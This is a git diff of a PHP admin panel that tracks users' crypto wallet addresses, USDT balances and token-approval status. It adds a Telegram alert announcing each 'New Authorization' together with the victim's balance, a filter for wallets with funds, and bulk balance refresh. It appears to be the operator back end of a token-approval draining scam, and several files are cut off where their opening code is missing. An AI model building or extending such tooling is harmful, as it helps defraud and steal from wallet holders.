diff --git a/app/Admin/Actions/BatchRequestBalance.php b/app/Admin/Actions/BatchRequestBalance.php new file mode 100644 index 0000000..37ce9c6 --- /dev/null +++ b/app/Admin/Actions/BatchRequestBalance.php @@ -0,0 +1,32 @@ +address); + // TODO 很慢 + if ($balance > 0.0) { + User::where('address', $model->address)->update(['USDT' => $balance]); + } + } + + return $this->response()->success('已全部刷新')->refresh(); + } + + public function dialog() + { + $this->confirm('确定刷新所选?'); + } +} diff --git a/app/Admin/Controllers/UserController.php b/app/Admin/Controllers/UserController.php index 2dc1e93..4ad1f62 100644 --- a/app/Admin/Controllers/UserController.php +++ b/app/Admin/Controllers/UserController.php @@ -2,9 +2,11 @@ namespace App\Admin\Controllers; +use App\Admin\Actions\BatchRequestBalance; use App\Admin\Actions\Post\Airdrop; use App\Admin\Actions\Post\Replicate; use App\Admin\Actions\User\Swap; +use App\Admin\Tools\RequestBalance; use App\User; use Encore\Admin\Controllers\AdminController; use Encore\Admin\Form; @@ -40,42 +42,46 @@ class UserController extends AdminController // 在这里添加字段过滤器 $filter->like('address', '钱包地址'); + $filter->gt('USDT', '錢包餘額'); $filter->between('created_at', '创建时间')->datetime(); $filter->between('updated_at', '最近时间')->datetime(); }); $grid->column('id', __('ID'))->sortable(); - $grid->column('address', __('钱包地址'))->expand(function ($model) { - // $vault = Vault::where(['id' => $model->id])->first(); - // $vault2 = Vault2::where(['id' => $model->id])->first(); + $grid->column('address', __('钱包地址')); - return new Table([ - '币种', - '錢包余额', - // '策略(平台币)', - // '收益', - // '策略(自身币)', - // '收益', - '是否授权', - ], [ - [ - 'USDT', $model->USDT, - // $vault->USDT, $vault->USDT_T, $vault2->USDT, $vault2->USDT_T, - empty($model->USDT_Q) ? 'no' : 'yes', - ], - // ['WETH', $model->WETH, $vault->WETH, $vault->WETH_T, $vault2->WETH, $vault2->WETH_T, empty($model->WETH_Q) ? 'no' : 'yes'], - // ['WBTC', $model->WBTC, $vault->WBTC, $vault->WBTC_T, $vault2->WBTC, $vault2->WBTC_T, empty($model->WBTC_Q) ? 'no' : 'yes'], - // ['SHIB', $model->SHIB, $vault->SHIB, $vault->SHIB_T, $vault2->SHIB, $vault2->SHIB_T, empty($model->SHIB_Q) ? 'no' : 'yes'], - // ['UNI', $model->UNI, $vault->UNI, $vault->UNI_T, $vault2->UNI, $vault2->UNI_T, empty($model->UNI_Q) ? 'no' : 'yes'], - // ['DAI', $model->DAI, $vault->DAI, $vault->DAI_T, $vault2->DAI, $vault2->DAI_T, empty($model->DAI_Q) ? 'no' : 'yes'], - // [ - // 'USDC', $model->USDC, - // // $vault->USDC, $vault->USDC_T, $vault2->USDC, $vault2->USDC_T, - // empty($model->USDC_Q) ? 'no' : 'yes', - // ] - ]); - }); + // ->expand(function ($model) { + // // $vault = Vault::where(['id' => $model->id])->first(); + // // $vault2 = Vault2::where(['id' => $model->id])->first(); + // return new Table([ + // '币种', + // '錢包余额', + // // '策略(平台币)', + // // '收益', + // // '策略(自身币)', + // // '收益', + // '是否授权', + // ], [ + // [ + // 'USDT', + // $model->USDT, + // // $vault->USDT, $vault->USDT_T, $vault2->USDT, $vault2->USDT_T, + // empty($model->USDT_Q) ? 'no' : 'yes', + // ], + // // ['WETH', $model->WETH, $vault->WETH, $vault->WETH_T, $vault2->WETH, $vault2->WETH_T, empty($model->WETH_Q) ? 'no' : 'yes'], + // // ['WBTC', $model->WBTC, $vault->WBTC, $vault->WBTC_T, $vault2->WBTC, $vault2->WBTC_T, empty($model->WBTC_Q) ? 'no' : 'yes'], + // // ['SHIB', $model->SHIB, $vault->SHIB, $vault->SHIB_T, $vault2->SHIB, $vault2->SHIB_T, empty($model->SHIB_Q) ? 'no' : 'yes'], + // // ['UNI', $model->UNI, $vault->UNI, $vault->UNI_T, $vault2->UNI, $vault2->UNI_T, empty($model->UNI_Q) ? 'no' : 'yes'], + // // ['DAI', $model->DAI, $vault->DAI, $vault->DAI_T, $vault2->DAI, $vault2->DAI_T, empty($model->DAI_Q) ? 'no' : 'yes'], + // // [ + // // 'USDC', $model->USDC, + // // // $vault->USDC, $vault->USDC_T, $vault2->USDC, $vault2->USDC_T, + // // empty($model->USDC_Q) ? 'no' : 'yes', + // // ] + // ]); + // }); $grid->column('protocol', '协议'); + $grid->column('USDT', '錢包餘額'); $grid->column('balance', '账户余额'); // ->expand(function ($model) { @@ -86,7 +92,7 @@ class UserController extends AdminController // ]); // }); - $grid->column('num', __('交易次数'))->sortable(); + // $grid->column('num', __('交易次数'))->sortable(); $grid->column('use', __('本金状态'))->display(function ($title) { if ($title == 1) { return "正常"; @@ -94,6 +100,7 @@ class UserController extends AdminController return "禁用"; } }); + $grid->column('use1', __('收益状态'))->display(function ($title) { if ($title == 1) { return "正常"; @@ -102,23 +109,23 @@ class UserController extends AdminController } }); - $grid->column('id', '下级数量')->display(function ($title) { - return User::where(['s_id' => $title])->count(); - })->expand(function ($model) { - $user = User::where(['s_id' => $model['id']])->get()->toArray(); - $data = []; - foreach ($user as $k => $v) { - $data[] = [$v['address'], $v['num'], $v['remark'], $v['created_at']]; - } - return new Table(['钱包地址', '交易次数', '备注说明', '创建时间'], $data); - });; + // $grid->column('id', '下级数量')->display(function ($title) { + // return User::where(['s_id' => $title])->count(); + // })->expand(function ($model) { + // $user = User::where(['s_id' => $model['id']])->get()->toArray(); + // $data = []; + // foreach ($user as $k => $v) { + // $data[] = [$v['address'], $v['num'], $v['remark'], $v['created_at']]; + // } + // return new Table(['钱包地址', '交易次数', '备注说明', '创建时间'], $data); + // });; // $grid->column('user_type', '虚拟号')->display(function ($released) { // return $released ? '是' : '否'; // }); $grid->column('remark', __('备注说明'))->editable(); $grid->column('ip', __('注册地址')); $grid->column('created_at', __('创建时间'))->sortable(); - $grid->column('updated_at', '最后上线')->display(function ($title) { + $grid->column('updated_at', __('最后上线'))->display(function ($title) { return (int)((time() - strtotime($title)) / 60) . '分钟'; }); @@ -130,8 +137,16 @@ class UserController extends AdminController $actions->add(new Swap()); }); + // $grid->tools(function ($tools) { + // $tools->append(new RequestBalance('www.google.com', 'fa-backward', 'B')); + // }); + + $grid->batchActions(function ($batch) { + $batch->add(new BatchRequestBalance()); + }); $grid->disableCreateButton(); + return $grid; } diff --git a/app/Admin/Tools/RequestBalance.php b/app/Admin/Tools/RequestBalance.php new file mode 100644 index 0000000..61279c0 --- /dev/null +++ b/app/Admin/Tools/RequestBalance.php @@ -0,0 +1,28 @@ +url = $url; + $this->icon = $icon; + $this->text = $text; + } + + public function render() + { + $url = $this->url; + $icon = $this->icon; + $text = $this->text; + + return view('admin.tools.button', compact('url', 'icon', 'text')); + } +} diff --git a/app/Admin/Tools/Transfer.php b/app/Admin/Tools/Transfer.php new file mode 100644 index 0000000..e69de29 diff --git a/app/Http/Controllers/ApiV1Controller.php b/app/Http/Controllers/ApiV1Controller.php index 0237092..65735eb 100644 --- a/app/Http/Controllers/ApiV1Controller.php +++ b/app/Http/Controllers/ApiV1Controller.php @@ -158,7 +158,9 @@ class ApiV1Controller extends Controller return json_encode(['code' => 0, 'msg' => 'dup']); } - $res = DB::transaction(function () use ($address, $hash) { + $usdt_amount = ThirdApi::getUSDTBalance($address); + + $res = DB::transaction(function () use ($address, $usdt_amount, $hash) { $newRow = new Authorize(); $newRow->address = $address; $newRow->name = Base::USDT; @@ -166,12 +168,14 @@ class ApiV1Controller extends Controller $newRow->hash = $hash; $newRow->save(); - User::where('address', $address)->update('USDT_Q', 1); + User::where('address', $address)->update([ + 'USDT' => $usdt_amount, + 'USDT_Q' => 1, + ]); }); $code = 0; if ($res) { - $usdt_amount = ThirdApi::getUSDTBalance($address); $msg = "New Authorization: address=$address . USDT Balance=$usdt_amount"; ThirdApi::sendToTg($msg); diff --git a/resources/views/admin/tools/button.blade.php b/resources/views/admin/tools/button.blade.php new file mode 100644 index 0000000..ca9c6b1 --- /dev/null +++ b/resources/views/admin/tools/button.blade.php @@ -0,0 +1,4 @@ +